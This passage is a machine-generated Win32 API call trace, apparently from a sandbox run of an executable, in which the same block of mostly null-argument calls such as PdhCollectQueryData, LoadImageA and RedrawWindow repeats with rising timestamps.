lParam=0x0) returned 0x0 [0026.842] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.842] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.842] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.842] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192325533, cy=27, fuLoad=0x0) returned 0x0 [0026.842] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.843] GetLastError () returned 0x715 [0026.843] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.843] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.843] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.843] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.843] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.843] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.843] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192306588, cy=27, fuLoad=0x0) returned 0x0 [0026.843] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.843] GetLastError () returned 0x715 [0026.843] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.843] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.843] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.843] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.843] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.843] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.843] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192287643, cy=27, fuLoad=0x0) returned 0x0 [0026.843] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.844] GetLastError () returned 0x715 [0026.844] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.844] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.844] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.844] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.844] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.844] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.844] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192268698, cy=27, fuLoad=0x0) returned 0x0 [0026.844] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.844] GetLastError () returned 0x715 [0026.844] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.844] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.844] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.844] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.844] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.844] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.844] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192249753, cy=27, fuLoad=0x0) returned 0x0 [0026.844] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.845] GetLastError () returned 0x715 [0026.845] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.845] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.845] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.845] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.845] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.845] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.845] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192230808, cy=27, fuLoad=0x0) returned 0x0 [0026.845] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.845] GetLastError () returned 0x715 [0026.845] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.845] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.845] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.845] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.845] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.845] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.845] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192211863, cy=27, fuLoad=0x0) returned 0x0 [0026.845] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.846] GetLastError () returned 0x715 [0026.846] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.846] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.846] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.846] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.846] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.846] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.846] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192192918, cy=27, fuLoad=0x0) returned 0x0 [0026.846] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.846] GetLastError () returned 0x715 [0026.846] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.846] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.846] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.846] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.846] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.846] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.846] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192173973, cy=27, fuLoad=0x0) returned 0x0 [0026.846] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.846] GetLastError () returned 0x715 [0026.847] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.847] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.847] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.847] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.847] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.847] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.847] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192155028, cy=27, fuLoad=0x0) returned 0x0 [0026.847] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.847] GetLastError () returned 0x715 [0026.847] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.847] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.847] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.847] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.847] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.847] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.847] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192136083, cy=27, fuLoad=0x0) returned 0x0 [0026.847] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.848] GetLastError () returned 0x715 [0026.848] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.848] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.848] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.848] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.848] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.848] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.848] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192117138, cy=27, fuLoad=0x0) returned 0x0 [0026.848] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.848] GetLastError () returned 0x715 [0026.848] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.848] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.848] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.848] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.848] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.848] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.848] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192098193, cy=27, fuLoad=0x0) returned 0x0 [0026.848] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.849] GetLastError () returned 0x715 [0026.849] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.849] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.849] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.849] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.849] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.849] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.849] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192079248, cy=27, fuLoad=0x0) returned 0x0 [0026.849] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.849] GetLastError () returned 0x715 [0026.849] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.849] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.849] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.849] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.849] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.849] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.849] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192060303, cy=27, fuLoad=0x0) returned 0x0 [0026.849] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.850] GetLastError () returned 0x715 [0026.850] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.850] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.850] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.850] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.850] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.850] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.850] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192041358, cy=27, fuLoad=0x0) returned 0x0 [0026.850] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.850] GetLastError () returned 0x715 [0026.850] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.850] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.850] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.850] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.850] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.850] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.850] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192022413, cy=27, fuLoad=0x0) returned 0x0 [0026.850] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.850] GetLastError () returned 0x715 [0026.851] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.851] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.851] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.851] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.851] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.851] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.851] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192003468, cy=27, fuLoad=0x0) returned 0x0 [0026.851] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.851] GetLastError () returned 0x715 [0026.851] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.851] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.851] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.851] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.851] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.851] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.851] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191984523, cy=27, fuLoad=0x0) returned 0x0 [0026.851] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.851] GetLastError () returned 0x715 [0026.851] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.852] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.852] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.852] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.852] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.852] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.852] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191965578, cy=27, fuLoad=0x0) returned 0x0 [0026.852] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.852] GetLastError () returned 0x715 [0026.852] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.852] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.852] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.852] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.852] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.852] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.852] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191946633, cy=27, fuLoad=0x0) returned 0x0 [0026.852] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.852] GetLastError () returned 0x715 [0026.852] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.852] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.852] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.853] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.853] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.853] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.853] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191927688, cy=27, fuLoad=0x0) returned 0x0 [0026.853] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.853] GetLastError () returned 0x715 [0026.853] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.853] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.853] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.853] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.853] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.853] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.853] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191908743, cy=27, fuLoad=0x0) returned 0x0 [0026.853] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.853] GetLastError () returned 0x715 [0026.853] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.853] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.853] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.853] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.854] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.854] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.854] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191889798, cy=27, fuLoad=0x0) returned 0x0 [0026.854] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.854] GetLastError () returned 0x715 [0026.854] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.854] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.854] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.854] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.854] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.854] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.854] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191870853, cy=27, fuLoad=0x0) returned 0x0 [0026.854] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.854] GetLastError () returned 0x715 [0026.854] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.854] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.854] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.854] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.854] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.855] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.855] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191851908, cy=27, fuLoad=0x0) returned 0x0 [0026.855] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.855] GetLastError () returned 0x715 [0026.855] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.855] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.855] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.855] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.855] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.855] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.855] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191832963, cy=27, fuLoad=0x0) returned 0x0 [0026.855] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.855] GetLastError () returned 0x715 [0026.855] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.855] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.855] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.855] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.855] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.855] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.855] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191814018, cy=27, fuLoad=0x0) returned 0x0 [0026.856] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.856] GetLastError () returned 0x715 [0026.856] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.856] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.856] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.856] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.856] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.856] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.856] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191795073, cy=27, fuLoad=0x0) returned 0x0 [0026.856] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.856] GetLastError () returned 0x715 [0026.856] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.856] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.856] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.856] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.856] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.856] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.856] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191776128, cy=27, fuLoad=0x0) returned 0x0 [0026.856] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.857] GetLastError () returned 0x715 [0026.857] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.857] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.857] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.857] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.857] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.857] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.857] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191757183, cy=27, fuLoad=0x0) returned 0x0 [0026.857] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.857] GetLastError () returned 0x715 [0026.857] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.857] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.857] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.857] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.857] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.857] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.857] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191738238, cy=27, fuLoad=0x0) returned 0x0 [0026.857] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.858] GetLastError () returned 0x715 [0026.858] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.858] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.858] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.858] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.858] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.858] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.858] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191719293, cy=27, fuLoad=0x0) returned 0x0 [0026.858] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.858] GetLastError () returned 0x715 [0026.858] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.858] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.858] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.858] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.858] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.858] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.858] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191700348, cy=27, fuLoad=0x0) returned 0x0 [0026.858] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 